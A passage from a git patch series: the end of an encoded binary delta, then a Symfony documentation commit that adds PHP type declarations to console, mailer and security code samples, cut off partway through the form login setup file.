zuW_s<j`@i&$<8i&cWF9(e{pete-DCrqS7b^fj<L@zW7fCfq%L%jV^juZye`o2cAk*
zcCEas(lqvmvs62wn&`{kP>p_$<7gIoy`ojwZWIMk?EF%}W$*26e)KNNZZ1~(+0pk@
zjrB0r>SuM=t~sRKr|YSX*Snoeqr^8&()o0wNku=|zfanftrF8H9ACZtMBWy+R9;y2
zwe3bLLDGqe$A5mfiDTv_C?)~{fe<p2L8Xu`Cmb&3<mGU~ZsCG%;o@%L{N!dD#c8bk
zbQ5wIMS)gffqJWgMDGujj8tH3Y}dFN4CB^M)2O8Z6qg^D+e?@3IQG5WD|e+uMKAZh
zm)_kx9B8_V-scDE{g<Ek!$5Dldp}HD>wex&_v=q5r+@F|k2kc2qPI%_;0aANeYt-a
z&wNiO&zRY2n~I+9%4QeO&H8$~x)W1eTJzR9M4;w6F1!D{^wUoHfQ@5`XS(O8QR@F%
zoIRP7tod|h2BP7=dX$#K|DLMQQ?ci~b3R88y=7Qpf)d}m?0s{en;O%dA;)CX%%;(!
zp&<gGB!7KK0fkuXZ`2vqaJX$jj?6g5fnLIq9F8z722>hY%KBKC%di2w4)o+^6vg36
zNO8E~=6E>^?cyLz0pgG$VO$--l2O?Z@lN~WyL6{-MSyZHxughE?s7^R1S(PN>G=6!
zx&XSx0f}@WWDqq5UFDq`VecLu{Vuw{*%DuG_kX_m>aFX1i-lZkZU4{@>666`%f$^_
zS==1BSg=0ifC$JBzq%KA3{WP~0AoO1oa1xW1V7CtX^SzeI*g50RS!PT7S>v>r54vw
zlB(d7=fyfnewgknGL4;MsSfv|Fx`%y{f~32CVnu#>|OtGzN;{C{!(!q-S?a%oo8;v
zIDdemn=jEU_I3PpUiZ77ExfWVqymV^?4S@L0wu)Fk=IT5g=V}T=q9;TCcm!R9L^*T
z<8Y#@9=Q%@lafeZfVDMz*&`UuZ*FsKEpG}p$!db&w`X$H29r|?TmkdI1=1$&wI-84
z;t_zc;Daal#BGA#J(FAFHpC5)$PPjY!G9c4)(vs*uv$ypCqdlxNbYM8-H+~6oL1(d
zxRr2~0qkbxA^?)?@FZvO5H0ZtLj!8!3uCW+Y_6N{9b}_z4Y+1H3V}-*$IPUnj1t&E
zI%+~T!Jyzmm}n7GOvKryqeGm18YtOeSTpZM*{7>$siACMtb&_ZdHyWf{nU_LJAd{^
zohr|JMyz*j46|1ZBYwB!vvd+B38gM!oy9Q3%RXlk!?cx4kv75%jDVELJW&WJk*Et*
zOz;fP1<YkKQ^j0_P==qy<gbZ`N<GX8{7^galvwF^)5LZd@p+|I$ZBG*O%r=QU8Jq>
zI0oF6G~-pskvuq$8$3o!JcQ(c5`Vz+a|8^X%fqLOtqr(dx@cfl<8gfW>gCyHhnwNt
zS!9PbdBY}$HaR@YC~V;pARs0?w8`NylS9^OP=Omd_4+|YfrkKrE*TICm>@YmY2@R(
z=b`Uutaa+BB1h~y*Wep)hS5Xc$xu}|&-=3FxTBThcG$LME1NT(%07xe{eMtz$r*VY
z^iBkTkfJ^!KoCd|PVa;ODsngq`5;4Q6!%e94;Q3K;2efGI`s09?LFcxjfsh85YHQ9
z-rxp})sLo!**<TEeN*uGj>RTg=>I0r;rO{^lC}X<BWa}_?pPA7s_Z79F~;7V%5F@U
zW4ct?DUh_uF6bkx?8vI@CuE?qZyK>x*=@vh;wrmrH6bPdVad8v*$IF`vZcz-01{2`
zU#zk>9dJ#R9a>f0s_Ir%x2n2T)z?+^>@CgJUk+e(s;*Ua=(ZF^6tXr4sH<9ij>iCD
znXH}(8ZyVH=yl2JpQe-V1s8t?Q50KU{g}FXm2q3XvRUG(ziHmetLE4Q3vS`FyQ!Nl
z@JLZNeS-hm>ZX>tkH_5AR%>5Sd_^xP)?hi*su;!q?{s$v1u|#3CBC#QXIbur`#v_U
z*0S7ru^euzberoh5^(8?E@C+<GCTnU7kIG1$1ZTW`>I}$`r@Z^Td)>AZo#&~bZx=b
zrs5}Fu!W@6AXS*un3J0ZCV#G1Y$ae4*^2FPE4H*HLBDXSvLmSrK00w(3i=CtD|K0^
ztG=LLWwlo7Ixne<wJCKO2Zkxahkr{!0zpvUz!EIQ;0Zj#P2jsHxqtq+cD_WOwrbb$
z)vhhpYt=5RcAdJ~#oJW7jOUlUJFzQ+Lu`O$sdW+Hq7J35rlYN=bbm1`bXlRx3SBn8
zv_jXK&}F_Oim4U44kvWg2q0Q{QJwH^%Vh>{rChdn!LhS)S!)BX7esIyMA#t01`#%h
zut7w+<^gQA>;$T1vZWvbcDZGe(9Cw1TP7FyuW-wxc|@sIk&jD9(C(SED)Q@meG$1W
z)d34#6?e4TVS$Ir-CGVze7oDh?slkO|EscEyW8Qcb~_;07RwQq{~=|`FztlpN<2v6
z;PF%d1e?HHlKag_uEJ<7$(<<46<4xwahhEyP6IX9@ztB+#C(loHMx58KllN^rgV(}
E0NDBfW&i*H

delta 2038
zcmV<S2MPF|5StK?8h;!&DcS-B1{ll~XlFB<fVLP%Q&}=3xrsOP?L$2rKjkQvEITe`
zq=giQN2D&#z4u%ydH>;Y5;#9~ocK|A-GjjGIXWCgo*#~{dw+lb@=o+V+`M`3`RX_G
zHICK9F+UL|+1YjPK24{;U0ppqJb+-Hs5FW};Lkv!ul`d(pntARqpRM{8^>Agz*DKp
zu9a6+n#TTcmTD(d6Mfwqs?m>e9L++nSF|eIjiMlmou4YW?!CRskKR?;&DB~zd-|TL
zu^z@+{iyERHHVakbUoGaX19}Rl=!AeI-hPespu#Bcco3)Dlv`1@y*+h<ZW?F<%MNm
zyKb}+B%P>u?0<*bIA(5wVj>U_2q7~WR0`>G!r@|0UJf_x7B1)(F76i2Pj07CoW{ye
zw;_j76lfI|sCOzz^x;6sNCn2m_KmB-Fz);`janK&artSvy>#i0W8d4qa@Sf^^zz_)
z>HY2Fk*2HYeSW0gfBK0(4D_zM_rtWc?&s}vzxi}>`hQ;jctdL_daLvgp3qd&m-~nD
z%=dKijG3*ssp#pxY<BhBtZ%lfJ2Azj4R4)81ZuA1vina<Kkbwc*f^GWrhASWrT)*w
z*~*+`&8KTK5Dov;qqH3Uw^W6miaqC@^C^1lEyEHMl=$9t?=SbcsWIIda!j_(Y#Kco
z8X^En(tn2(P>99hMx9{|hr1T!$c$qg=p`J<;RwTGK&64DtdE7c3>(1fKu>N*Q5>#?
z6vrEGj+e90J`TbZAPyN4#?=ul8I=tY@3lX^Pxty(1Ssc{ONt=nE~lhHpc2KNj-MZ<
z3!qyZkVqFo22o?sb>68F_8#ET@1uv?9r5*U?|+-G-n!1WSje^3_ILf5t}Jd?E^gS$
z;^x4`g7qN>L_mK0)xE%DfDnlW7z66!9G|l$_-QstJB(r7VQjUkdhmI+u+efOwfGt(
zsR}-NUaXVkyXn3n)7U$f>ToX#)7|*lcbq#l@q_tw@9THxn+g->PZh_}L(fUldFED(
z1Ai#G`5et+U&pKSdf5H!;FVn=6+ld82Zaz3C?Rf+ylKKOG~>fSx5=e4`E}jqa3*mW
zhZ9}($aOfIltlUhtexS@0l{c~bK7fcc~iJaRucrjJd>j~n4D7J3YZ5jkT!9zHJSVg
zj{t-r8m!<Gw+VjtOm2zW5I003I|wBNbALoxH^jZiYAtb}1##CSxi3NVFuGT9TA7RD
zR>D;Vu$!5S07$aqlbpdrw8SIKkerDxjJ@`;xo-aNARBFKz%|oR2wciIW+oM7l)w(s
zQ4_KW1_c+wM2nbWA}%%^9pdcMK*<innt3nEK3zpi4Q2CU72L+k^JmHar-tOlaep}K
zRC(SrV!dl)n1f;%@v9}DrIRp8C^KH7vlxbW+2=xHn6`2$(ngqp5s(s@Ckg>2vV$<g
zcz47No(m{se6WHqkbG6SRH27CfgfrIo)ankYLeI<8@{Z}3Ry|)wMk;nXN$BI8pnXU
zl4i6DIg&@Gaf8QbiHDFJPy%><j(-fjBYFI6v9$r$%N7mHdN_`cU%b57<ZwHhyNKkl
zCU4l>(B_608HFuef{DVoOKfg<%G{8(8dTthPQ89mQQ#qfT@zFg3OFn9Nh2TMJr8|L
zW35w16<a3y&R6gkaE8%i-^ox_IM4gC)wq*Y<M!CLWh<LAp363hKm1Vd$bT7m8}v>D
zfRLg-B0vyGk52D|04j1g3i%*IXB78QRt^`WN#GoYw>tFlksUnZ9gT^JXAsXDW8UBf
zjn$8)$Jsq^hJ9P`_@2ckTIl~a(Bb&GWRkW4R3mAn9d1|>t%~dvFk|f9iR{^m!+5ZQ
zFJu$^(~9iKitJ|~vTxh46@S@nz;xy!yKFTd&h~*y)}6>s02GofMRo>|XoCM@k-h1F
zYl`g9it1KWx1zcg)vc($DXN>O3$Oob04q~<EviGer6__4LbE+|sH;+aj>iC|nW|2J
zL^8*x=yj>;AEze9%dDyIBr^licV?k)PKGl-$QZZp+yzk-TUq^-vVVG&aa+E!S>n0B
zXWq(-=GX)aZsD`LDVr|vNKrOj!GCRKQ_I|^WA19JwXY|>qSq5^upDYt3}b+Ix;cab
zk+a+qUs{&4Ece1~AKO-IS?;n}4!2dg&Gi=vxO7Dqu^bf{o&cPRqH>$zV;8vGeN~m)
z&we_$1>4gWY%5IH77lD}Dt_h#TS!_BQUxH8lb;4Ae{NQ6B@htVitTADwzMTdzi_Iu
zBdH5MIdM@6`U`w3by=yazMx-awN~o7EUAmNDRmhKhAG0we@VeONP_wX7DFipEAR|A
zf$yH={`vi@^EvXgRl82FcI~iUt9Dtn>)h2Y-lp1RJip}KiCq~SVgoEot&0E`btrW;
z9c?|Oe~Ve6%L-jq=(72x6}mQrt}No>m|CIhctTf=0HT%m)CuplTxRgr%4Lfe96KwQ
zwKm{-K?Ju!gbgBW5MhG|8$_fV9>7-1&Y)T*TM8mzms=(Y&1`qMWpaW43b#y}N0eF>
z`LuKd?Vd@iBEQbp7m?di9k9?<aYwry7I>)KT<x&Lx4RweZio8yzbdP>yB#iSw*!K0
zu^eIfpHY?!(@t2f#B&LzgQs%=5Nv{PS?(8OxeBYbEO(|XS6s>B#c6h-I1SWX$2V_^
U6Z18W)#T>Q|5A1rV{?rF0O9uZ@c;k-


From 23dc0985f8fb2f5e2b2533d51321517fbabde3ff Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 21 Nov 2020 17:47:51 +0100
Subject: [PATCH 2126/7107] [Console][Mailer][Security] Added PHP type
 declarations

---
 console.rst                                 | 18 ++++-----
 console/calling_commands.rst                | 44 +++++++++++----------
 console/command_in_controller.rst           |  4 +-
 console/commands_as_services.rst            |  6 +--
 console/hide_commands.rst                   |  2 +-
 console/input.rst                           |  6 ++-
 console/lockable_trait.rst                  |  2 +-
 console/style.rst                           |  6 +--
 console/verbosity.rst                       |  4 +-
 mailer.rst                                  |  3 +-
 security.rst                                | 12 +++---
 security/access_denied_handler.rst          |  2 +-
 security/csrf.rst                           |  7 ++--
 security/custom_authentication_provider.rst | 24 +++++------
 security/expressions.rst                    |  4 +-
 security/form_login.rst                     |  4 +-
 security/form_login_setup.rst               | 17 ++++----
 security/guard_authentication.rst           | 20 +++++-----
 security/impersonating_user.rst             |  8 ++--
 security/json_login_setup.rst               |  2 +-
 security/named_encoders.rst                 |  2 +-
 security/remember_me.rst                    |  4 +-
 security/user_checkers.rst                  |  4 +-
 security/user_provider.rst                  |  3 +-
 security/voters.rst                         | 16 ++++----
 25 files changed, 119 insertions(+), 105 deletions(-)

diff --git a/console.rst b/console.rst
index e980cea046a..ad47c0c6879 100644
--- a/console.rst
+++ b/console.rst
@@ -38,12 +38,12 @@ want a command to create a user::
         // the name of the command (the part after "bin/console")
         protected static $defaultName = 'app:create-user';
 
-        protected function configure()
+        protected function configure(): void
         {
             // ...
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // ... put here the code to create the user
 
@@ -65,7 +65,7 @@ You can optionally define a description, help message and the
 :doc:`input options and arguments </console/input>`::
 
     // ...
-    protected function configure()
+    protected function configure(): void
     {
         $this
             // the short description shown while running "php bin/console list"
@@ -100,7 +100,7 @@ available in the ``configure()`` method::
             parent::__construct();
         }
 
-        protected function configure()
+        protected function configure(): void
         {
             $this
                 // ...
@@ -136,7 +136,7 @@ The ``execute()`` method has access to the output stream to write messages to
 the console::
 
     // ...
-    protected function execute(InputInterface $input, OutputInterface $output)
+    protected function execute(InputInterface $input, OutputInterface $output): int
     {
         // outputs multiple lines to the console (adding "\n" at the end of each line)
         $output->writeln([
@@ -189,7 +189,7 @@ method, which returns an instance of
 
     class MyCommand extends Command
     {
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             if (!$output instanceof ConsoleOutputInterface) {
                 throw new \LogicException('This command accepts only an instance of "ConsoleOutputInterface".');
@@ -236,7 +236,7 @@ Use input options or arguments to pass information to the command::
     use Symfony\Component\Console\Input\InputArgument;
 
     // ...
-    protected function configure()
+    protected function configure(): void
     {
         $this
             // configure an argument
@@ -246,7 +246,7 @@ Use input options or arguments to pass information to the command::
     }
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         $output->writeln([
             'User Creator',
@@ -300,7 +300,7 @@ as a service, you can use normal dependency injection. Imagine you have a
 
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // ...
 
diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index 0b3919973e5..2defb04d49a 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -8,36 +8,40 @@ or if you want to create a "meta" command that runs a bunch of other commands
 changed on the production servers: clearing the cache, generating Doctrine
 proxies, dumping web assets, ...).
 
-Calling a command from another one is straightforward::
+Use the :method:`Symfony\\Component\\Console\\Application::find` method to
+find the command you want to run by passing the command name. Then, create a
+new :class:`Symfony\\Component\\Console\\Input\\ArrayInput` with the
+arguments and options you want to pass to the command.
 
+Eventually, calling the ``run()`` method actually runs the command and returns
+the returned code from the command (return value from command's ``execute()``
+method)::
+
+    // ...
+    use Symfony\Component\Console\Command;
     use Symfony\Component\Console\Input\ArrayInput;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
-    // ...
 
-    protected function execute(InputInterface $input, OutputInterface $output)
+    class CreateUserCommand extends Command
     {
-        $command = $this->getApplication()->find('demo:greet');
-
-        $arguments = [
-            'name'    => 'Fabien',
-            '--yell'  => true,
-        ];
+        // ...
 
-        $greetInput = new ArrayInput($arguments);
-        $returnCode = $command->run($greetInput, $output);
+        protected function execute(InputInterface $input, OutputInterface $output): void
+        {
+            $command = $this->getApplication()->find('demo:greet');
 
-        // ...
-    }
+            $arguments = [
+                'name'    => 'Fabien',
+                '--yell'  => true,
+            ];
 
-First, you :method:`Symfony\\Component\\Console\\Application::find` the
-command you want to run by passing the command name. Then, you need to create
-a new :class:`Symfony\\Component\\Console\\Input\\ArrayInput` with the arguments
-and options you want to pass to the command.
+            $greetInput = new ArrayInput($arguments);
+            $returnCode = $command->run($greetInput, $output);
 
-Eventually, calling the ``run()`` method actually runs the command and returns
-the returned code from the command (return value from command's ``execute()``
-method).
+            // ...
+        }
+    }
 
 .. tip::
 
diff --git a/console/command_in_controller.rst b/console/command_in_controller.rst
index 190584bfbda..74cd6b09cbe 100644
--- a/console/command_in_controller.rst
+++ b/console/command_in_controller.rst
@@ -36,7 +36,7 @@ Run this command from inside your controller via::
 
     class SpoolController extends AbstractController
     {
-        public function sendSpool($messages = 10, KernelInterface $kernel)
+        public function sendSpool(int $messages = 10, KernelInterface $kernel): Response
         {
             $application = new Application($kernel);
             $application->setAutoExit(false);
@@ -87,7 +87,7 @@ Now, use it in your controller::
 
     class SpoolController extends AbstractController
     {
-        public function sendSpool($messages = 10)
+        public function sendSpool(int $messages = 10): Response
         {
             // ...
             $output = new BufferedOutput(
diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst
index fb5e7ff70eb..794ec8f46cb 100644
--- a/console/commands_as_services.rst
+++ b/console/commands_as_services.rst
@@ -35,17 +35,17 @@ For example, suppose you want to log something from within your command::
             parent::__construct();
         }
 
-        protected function configure()
+        protected function configure(): void
         {
             $this
                 ->setDescription('Good morning!');
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $this->logger->info('Waking up the sun');
             // ...
-            
+
             return 0;
         }
     }
diff --git a/console/hide_commands.rst b/console/hide_commands.rst
index db39ca824f8..2f9d2819873 100644
--- a/console/hide_commands.rst
+++ b/console/hide_commands.rst
@@ -20,7 +20,7 @@ In those cases, you can define the command as **hidden** by setting the
     {
         protected static $defaultName = 'app:legacy';
 
-        protected function configure()
+        protected function configure(): void
         {
             $this
                 ->setHidden(true)
diff --git a/console/input.rst b/console/input.rst
index 0813bad58c5..926a89604cd 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -21,7 +21,7 @@ and make the ``name`` argument required::
     {
         // ...
 
-        protected function configure()
+        protected function configure(): void
         {
             $this
                 // ...
@@ -42,7 +42,7 @@ You now have access to a ``last_name`` argument in your command::
     {
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $text = 'Hi '.$input->getArgument('name');
 
@@ -52,6 +52,8 @@ You now have access to a ``last_name`` argument in your command::
             }
 
             $output->writeln($text.'!');
+
+            return 0;
         }
     }
 
diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst
index 36cd393907c..98c94d82c57 100644
--- a/console/lockable_trait.rst
+++ b/console/lockable_trait.rst
@@ -22,7 +22,7 @@ that adds two convenient methods to lock and release commands::
 
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             if (!$this->lock()) {
                 $output->writeln('The command is already running in another process.');
diff --git a/console/style.rst b/console/style.rst
index dd981436e50..79a4971b2c8 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -21,7 +21,7 @@ Consider for example the code used to display the title of the following command
     {
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $output->writeln([
                 '<info>Lorem Ipsum Dolor Sit Amet</>',
@@ -62,7 +62,7 @@ title of the command::
     {
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $io = new SymfonyStyle($input, $output);
             $io->title('Lorem Ipsum Dolor Sit Amet');
@@ -399,7 +399,7 @@ of your commands to change their appearance::
     {
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // Before
             $io = new SymfonyStyle($input, $output);
diff --git a/console/verbosity.rst b/console/verbosity.rst
index c16737c2b61..7df68d30f23 100644
--- a/console/verbosity.rst
+++ b/console/verbosity.rst
@@ -49,7 +49,7 @@ level. For example::
     {
         // ...
 
-        public function execute(InputInterface $input, OutputInterface $output)
+        public function execute(InputInterface $input, OutputInterface $output): int
         {
             $user = new User(...);
 
@@ -68,6 +68,8 @@ level. For example::
                 'Will only be printed in verbose mode or higher',
                 OutputInterface::VERBOSITY_VERBOSE
             );
+
+            return 0;
         }
     }
 
diff --git a/mailer.rst b/mailer.rst
index 42ec190574a..ec13d48e4ba 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -226,6 +226,7 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Mailer\MailerInterface;
     use Symfony\Component\Mime\Email;
 
@@ -234,7 +235,7 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
         /**
          * @Route("/email")
          */
-        public function sendEmail(MailerInterface $mailer)
+        public function sendEmail(MailerInterface $mailer): Response
         {
             $email = (new Email())
                 ->from('hello@example.com')
diff --git a/security.rst b/security.rst
index c0439086b76..490ccef1ce9 100644
--- a/security.rst
+++ b/security.rst
@@ -644,7 +644,7 @@ You can deny access from inside a controller::
     // src/Controller/AdminController.php
     // ...
 
-    public function adminDashboard()
+    public function adminDashboard(): Response
     {
         $this->denyAccessUnlessGranted('ROLE_ADMIN');
 
@@ -688,7 +688,7 @@ using annotations:
     +      *
     +      * @IsGranted("ROLE_ADMIN")
     +      */
-          public function adminDashboard()
+          public function adminDashboard(): Response
           {
               // ...
           }
@@ -735,7 +735,7 @@ role::
 
     // ...
 
-    public function adminDashboard()
+    public function adminDashboard(): Response
     {
         $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
 
@@ -770,7 +770,7 @@ like this:
 After authentication, the ``User`` object of the current user can be accessed
 via the ``getUser()`` shortcut::
 
-    public function index()
+    public function index(): Response
     {
         // usually you'll want to make sure the user is authenticated first
         $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
@@ -811,6 +811,8 @@ If you need to get the logged in user from a service, use the
         {
             // returns User object or null if not authenticated
             $user = $this->security->getUser();
+
+            // ...
         }
     }
 
@@ -901,7 +903,7 @@ Next, you'll need to create a route for this URL (but not a controller):
             /**
              * @Route("/logout", name="app_logout", methods={"GET"})
              */
-            public function logout()
+            public function logout(): void
             {
                 // controller can be blank: it will never be executed!
                 throw new \Exception('Don\'t forget to activate logout in security.yaml');
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 8db53e89421..8492ff24bef 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -123,7 +123,7 @@ response)::
 
     class AccessDeniedHandler implements AccessDeniedHandlerInterface
     {
-        public function handle(Request $request, AccessDeniedException $accessDeniedException)
+        public function handle(Request $request, AccessDeniedException $accessDeniedException): ?Response
         {
             // ...
 
diff --git a/security/csrf.rst b/security/csrf.rst
index 9da64168379..d79bb25e7fb 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -85,7 +85,7 @@ this can be customized on a form-by-form basis::
 
     // src/Form/TaskType.php
     namespace App\Form;
-    
+
     // ...
     use App\Entity\Task;
     use Symfony\Component\OptionsResolver\OptionsResolver;
@@ -94,7 +94,7 @@ this can be customized on a form-by-form basis::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class'      => Task::class,
@@ -154,9 +154,10 @@ Then, get the value of the CSRF token in the controller action and use the
 to check its validity::
 
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    public function delete(Request $request)
+    public function delete(Request $request): Response
     {
         $submittedToken = $request->request->get('token');
 
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index d1bdcd564c0..5acd7333f38 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -78,7 +78,7 @@ provider::
             $this->setAuthenticated(count($roles) > 0);
         }
 
-        public function getCredentials()
+        public function getCredentials(): string
         {
             return '';
         }
@@ -123,7 +123,7 @@ set an authenticated token in the token storage if successful::
             $this->authenticationManager = $authenticationManager;
         }
 
-        public function __invoke(RequestEvent $event)
+        public function __invoke(RequestEvent $event): void
         {
             $request = $event->getRequest();
 
@@ -216,7 +216,7 @@ the ``PasswordDigest`` header value matches with the user's password::
             $this->cachePool = $cachePool;
         }
 
-        public function authenticate(TokenInterface $token)
+        public function authenticate(TokenInterface $token): WsseUserToken
         {
             $user = $this->userProvider->loadUserByUsername($token->getUsername());
 
@@ -236,7 +236,7 @@ the ``PasswordDigest`` header value matches with the user's password::
          * For more information specific to the logic here, see
          * https://github.com/symfony/symfony-docs/pull/3134#issuecomment-27699129
          */
-        protected function validateDigest($digest, $nonce, $created, $secret)
+        protected function validateDigest($digest, $nonce, $created, $secret): bool
         {
             // Check created time is not in the future
             if (strtotime($created) > time()) {
@@ -269,7 +269,7 @@ the ``PasswordDigest`` header value matches with the user's password::
             return hash_equals($expected, $digest);
         }
 
-        public function supports(TokenInterface $token)
+        public function supports(TokenInterface $token): bool
         {
             return $token instanceof WsseUserToken;
         }
@@ -307,7 +307,7 @@ create a class which implements
 
     class WsseFactory implements SecurityFactoryInterface
     {
-        public function create(ContainerBuilder $container, $id, $config, $userProvider, $defaultEntryPoint)
+        public function create(ContainerBuilder $container, $id, $config, $userProvider, $defaultEntryPoint): array
         {
             $providerId = 'security.authentication.provider.wsse.'.$id;
             $container
@@ -321,17 +321,17 @@ create a class which implements
             return [$providerId, $listenerId, $defaultEntryPoint];
         }
 
-        public function getPosition()
+        public function getPosition(): string
         {
             return 'pre_auth';
         }
 
-        public function getKey()
+        public function getKey(): string
         {
             return 'wsse';
         }
 
-        public function addConfiguration(NodeDefinition $node)
+        public function addConfiguration(NodeDefinition $node): void
         {
         }
     }
@@ -455,7 +455,7 @@ factory in the kernel::
 
     class Kernel extends BaseKernel
     {
-        public function build(ContainerBuilder $container)
+        public function build(ContainerBuilder $container): void
         {
             $extension = $container->getExtension('security');
             $extension->addSecurityListenerFactory(new WsseFactory());
@@ -547,7 +547,7 @@ the ``addConfiguration()`` method::
     {
         // ...
 
-        public function addConfiguration(NodeDefinition $node)
+        public function addConfiguration(NodeDefinition $node): void
         {
             $node
                 ->children()
@@ -568,7 +568,7 @@ in order to put it to use::
 
     class WsseFactory implements SecurityFactoryInterface
     {
-        public function create(ContainerBuilder $container, $id, $config, $userProvider, $defaultEntryPoint)
+        public function create(ContainerBuilder $container, $id, $config, $userProvider, $defaultEntryPoint): array
         {
             $providerId = 'security.authentication.provider.wsse.'.$id;
             $container
diff --git a/security/expressions.rst b/security/expressions.rst
index 2ed16878ff2..a74fbb58eaf 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -15,7 +15,7 @@ accepts an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object::
     use Symfony\Component\ExpressionLanguage\Expression;
     // ...
 
-    public function index()
+    public function index(): Response
     {
         $this->denyAccessUnlessGranted(new Expression(
             '"ROLE_ADMIN" in roles or (not is_anonymous() and user.isSuperAdmin())'
@@ -86,7 +86,7 @@ Additionally, you have access to a number of functions inside the expression:
         use Symfony\Component\Security\Core\Authorization\AuthorizationCheckerInterface;
         // ...
 
-        public function index(AuthorizationCheckerInterface $authorizationChecker)
+        public function index(AuthorizationCheckerInterface $authorizationChecker): Response
         {
             $access1 = $authorizationChecker->isGranted('IS_AUTHENTICATED_REMEMBERED');
 
diff --git a/security/form_login.rst b/security/form_login.rst
index 6cc958fc9eb..46a1c8ee049 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -103,7 +103,7 @@ configuration (``login``):
             /**
              * @Route("/login", name="login", methods={"GET", "POST"})
              */
-            public function login()
+            public function login(): Response
             {
             }
         }
@@ -146,7 +146,7 @@ Great! Next, add the logic to ``login()`` that displays the login form::
     // src/Controller/SecurityController.php
     use Symfony\Component\Security\Http\Authentication\AuthenticationUtils;
 
-    public function login(AuthenticationUtils $authenticationUtils)
+    public function login(AuthenticationUtils $authenticationUtils): Response
     {
         // get the login error if there is one
         $error = $authenticationUtils->getLastAuthenticationError();
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index 0e48913a2d9..0725ff3815d 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -80,7 +80,7 @@ class that processes the login submit and 4) updates the main security config fi
         /**
          * @Route("/logout", name="app_logout")
          */
-        public function logout()
+        public function logout(): void
         {
             throw new \LogicException('This method can be blank - it will be intercepted by the logout key on your firewall.');
         }
@@ -197,6 +197,7 @@ a traditional HTML form that submits to ``/login``:
     use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\RedirectResponse;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
     use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
@@ -230,7 +231,7 @@ a traditional HTML form that submits to ``/login``:
             $this->passwordEncoder = $passwordEncoder;
         }
 
-        public function supports(Request $request)
+        public function supports(Request $request): bool
         {
             return self::LOGIN_ROUTE === $request->attributes->get('_route')
                 && $request->isMethod('POST');
@@ -251,7 +252,7 @@ a traditional HTML form that submits to ``/login``:
             return $credentials;
         }
 
-        public function getUser($credentials, UserProviderInterface $userProvider)
+        public function getUser($credentials, UserProviderInterface $userProvider): ?User
         {
             $token = new CsrfToken('authenticate', $credentials['csrf_token']);
             if (!$this->csrfTokenManager->isTokenValid($token)) {
@@ -268,7 +269,7 @@ a traditional HTML form that submits to ``/login``:
             return $user;
         }
 
-        public function checkCredentials($credentials, UserInterface $user)
+        public function checkCredentials($credentials, UserInterface $user): bool
         {
             return $this->passwordEncoder->isPasswordValid($user, $credentials['password']);
         }
@@ -281,7 +282,7 @@ a traditional HTML form that submits to ``/login``:
             return $credentials['password'];
         }
 
-        public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey)
+        public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey): ?Response
         {
             if ($targetPath = $this->getTargetPath($request->getSession(), $providerKey)) {
                 return new RedirectResponse($targetPath);
@@ -291,7 +292,7 @@ a traditional HTML form that submits to ``/login``:
             throw new \Exception('TODO: provide a valid redirect inside '.__FILE__);
         }
 
-        protected function getLoginUrl()
+        protected function getLoginUrl(): string
         {
             return $this->urlGenerator->generate(self::LOGIN_ROUTE);
         }
@@ -380,7 +381,7 @@ be redirected after success:
       // src/Security/LoginFormAuthenticator.php
 
       // ...
